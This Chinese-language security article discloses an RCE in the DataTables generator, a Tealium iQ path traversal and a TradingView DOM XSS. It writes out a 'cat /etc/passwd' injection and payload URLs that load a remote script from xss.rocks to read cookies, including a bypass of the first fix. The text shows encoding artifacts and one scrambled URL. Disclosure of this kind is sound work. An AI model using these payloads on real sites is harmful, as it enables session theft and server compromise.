無國界 2019-06-26
本文披露了當(dāng)前流行的第三方JavaScript庫中的三個(gè)漏洞,鑒于這三個(gè)漏洞的嚴(yán)重性,可能會(huì)對嵌入這些流行庫的數(shù)千家機(jī)構(gòu)網(wǎng)站造成影響。
Datatables.net是一個(gè)專門提供表格HTML顯示的免費(fèi)庫網(wǎng)站,其官網(wǎng)聲稱只要在你的網(wǎng)站中嵌入一個(gè)存儲(chǔ)在cdn.datatables.net的.js或.css文件,就能實(shí)現(xiàn)表格HTML化顯示。
也就是說,如果大量的互聯(lián)網(wǎng)網(wǎng)站嵌入了這個(gè)存儲(chǔ)在cdn.datatables.net的.js或.css文件作為網(wǎng)站資源庫,那么,只要這兩個(gè)資源庫文件存在漏洞,那么相應(yīng)的引用嵌入網(wǎng)站也就可能受到影響了。
以下面這個(gè)澳大利亞政府網(wǎng)站為例,它在其中就嵌入引用了存儲(chǔ)在cdn.datatables.net的.js庫文件- jquery.dataTables.min.js:
當(dāng)瀏覽datatables.net官網(wǎng)服務(wù)后可知,其中的js庫文件會(huì)向遠(yuǎn)端應(yīng)用et/generator/https://editor.datatables.n發(fā)起請求,這個(gè)遠(yuǎn)端應(yīng)用會(huì)在后臺生成并測試一些需要顯示的HTML表格。每次請求生成一個(gè)新表格之后,相應(yīng)地也會(huì)生成并返回給目標(biāo)網(wǎng)站一個(gè)php文件。我們利用.datatables.net這種生成php文件的過濾漏洞,可以在其中寫入某些參數(shù),實(shí)現(xiàn)一定程度的RCE攻擊,例如,我們可在下述php創(chuàng)建機(jī)制的紅框內(nèi)寫入RCE Payload:
在$_GET(1)中,把1換為cat /etc/passwd,看看會(huì)發(fā)生什么:
就這樣,datatables.net中的密碼文件/etc/passwd就被直接讀取出來了,另外,經(jīng)驗(yàn)證,可利用該漏洞讀取 cdn.datatables.net上其它敏感文件。這種第三方庫提供商的RCE加文件讀取的漏洞讓人浮想聯(lián)翩,當(dāng)然,嵌入這些庫文件的大量網(wǎng)站,其受影響程度也想想都后怕了。
Tealium iQ公司提供的智能標(biāo)簽管理解決方案,專門對數(shù)據(jù)標(biāo)簽進(jìn)行有效管理,只要一個(gè)Tealitma IQ標(biāo)簽,就可取代網(wǎng)站上所有商家的標(biāo)簽,實(shí)現(xiàn)對營銷解決方案的在線控制。如以下Uber網(wǎng)站就引用嵌入了Tealium iQ的標(biāo)簽服務(wù):
該服務(wù)會(huì)去請求一個(gè)名為tags.tiqcdn.com的Tealium iQ .js庫文件:
https://tags.tiqcdn.com/utag/
/ /prod/utag.js
這里存在的漏洞是,Tealium iQ標(biāo)簽服務(wù)對網(wǎng)站輸入的配置文件名(Profile Name)數(shù)據(jù)處理不當(dāng),問題在于,Tealium iQ遠(yuǎn)端服務(wù)允許 / 和 . 兩種特殊字符在Profile Name中存在。
可以利用這兩種字符來操控那些加載配置文件的目錄,例如,如果配置文件名稱中有../../utag/uber/main,那么,其相應(yīng)的js代碼就會(huì)向上傳到tags.tiqcdn.com中形成https://tags.tiqcdn.com/utag/uber/main/prod/utag.js這樣,它將被嵌入到任何利用Tealium iQ的Uber網(wǎng)站頁面中。
該漏洞已在Uber漏洞眾測項(xiàng)目和其它Bug賞金平臺提交上報(bào)過,在此,我編寫了以下簡單的代碼,通過它可以更改任意tags.tiqcdn.com上的js文件,實(shí)現(xiàn)對tags.tiqcdn.com的目錄遍歷。
該漏洞可能會(huì)對Uber、Microsoft、Cisco和Inte的大多數(shù)網(wǎng)站造成影響。
TradingView提供專門的流行圖表繪制顯示服務(wù),在金融和加密貨幣交易平臺應(yīng)用相較廣泛,可以說,大多的加密貨幣交易平臺都使用了它提供的圖表服務(wù)庫顯示了在線交易信息。然而,2018年9月24日,名為Victor Zhu的安全研究人員發(fā)現(xiàn)了TradingView的一個(gè)高危DOM Based XSS漏洞,所有引用嵌入其庫文件的加密貨幣網(wǎng)站都受到影響。
任何引用嵌入TradingView庫文件的網(wǎng)站中都會(huì)存在一個(gè)可被公開訪問的,樣式為tv-chart.html的文件,這個(gè)html文件通過location.hash參數(shù)來初始化交易圖表,圖表初始化完成之后,指向以下類型頁面的iframe鏈接將被加載到網(wǎng)站頁面上:
https://example.com/tradingview/en-tv-chart.x.html#symbol=BTC_ETH&interval=180&widgetbar=%7B%22details%22%3Afalse%2C%22watchlist%22%3Afalse%2C%22watchlist_settings%22%3A%7B%22default_symbols%22%3A%5B%5D%7D%7D&drawingsAccess=%7B%22type%22%3A%22black%22%7D&locale=en&uid=tradingview_36472&clientId=tradingview.com&userId=public_user&chartsStorageVer=1.0&debug=false&timezone=Asia%2FTaipei&theme=Dark
漏洞就在于,TradingView庫文件的一個(gè)第三方圖表加載函數(shù)中,該函數(shù)從目標(biāo)網(wǎng)站輸入的indicatorsFileparameter中獲取一個(gè)鏈接,并傳輸?shù)搅?.getScript()中:
D ? $.getScript(urlParams.indicatorsFile).done(function() {…})
那么,可以在其中的獲取鏈接上做文章,在其中注入遠(yuǎn)程js文件,實(shí)現(xiàn)惡意目的,如:
https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=//xss.rocks/xss.js
當(dāng)用戶訪問了這條鏈接之后,遠(yuǎn)程的xss.rocks/xss.js就會(huì)加載運(yùn)行讀取用戶Cookie.
當(dāng)該漏洞被披露后,TradingView釋放了一個(gè)新版本的庫文件進(jìn)行替代修復(fù),其中之前負(fù)責(zé)加載第三方圖表的函數(shù)被做了修改替換,修改后的函數(shù)如下:
但是,這種修復(fù)方法依然存在漏洞,在添加uid=urlParams參數(shù)時(shí),可以使用thecustomIndicatorsUrl參數(shù)復(fù)現(xiàn)之前出現(xiàn)的漏洞,構(gòu)造的最終Payload如下:
https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&customIndicatorsUrl=//xss.rocks/xss.js&uid=urlParams
之后,TradingView再次對庫文件進(jìn)行了修復(fù),終于完全堵塞了漏洞。但是,一些加密貨幣交易平臺仍然在用存在漏洞的庫文件版本,經(jīng)對當(dāng)前所有的加密貨幣交易平臺進(jìn)行了測試后發(fā)現(xiàn),包括CoinMarketCap和一些交易量較大的90多家平臺仍然存在TradingView庫文件的上述Dom Based XSS漏洞,TradingView對這些平臺進(jìn)行了及時(shí)告知,但卻:
46家交易平臺選擇忽視該漏洞通報(bào);
44家交易平臺進(jìn)行了回復(fù)并詢問了詳細(xì)技術(shù)細(xì)節(jié);
19家交易平臺最終修復(fù)了該漏洞;
7家交易平臺建議對該漏洞給予獎(jiǎng)勵(lì)。
作為安全人員來說,當(dāng)測試Web應(yīng)用安全性時(shí),應(yīng)該把其中使用的第三方產(chǎn)品或程序考慮在內(nèi),它們同樣至關(guān)重要;作為網(wǎng)站運(yùn)營方來說,要慎重使用嵌入引用的第三方庫文件。
以上內(nèi)容由四川無國界(warmw001.com.cn) 整理編輯——專業(yè)從事網(wǎng)絡(luò)信息安全培訓(xùn)與IT風(fēng)險(xiǎn)管理咨詢服務(wù)。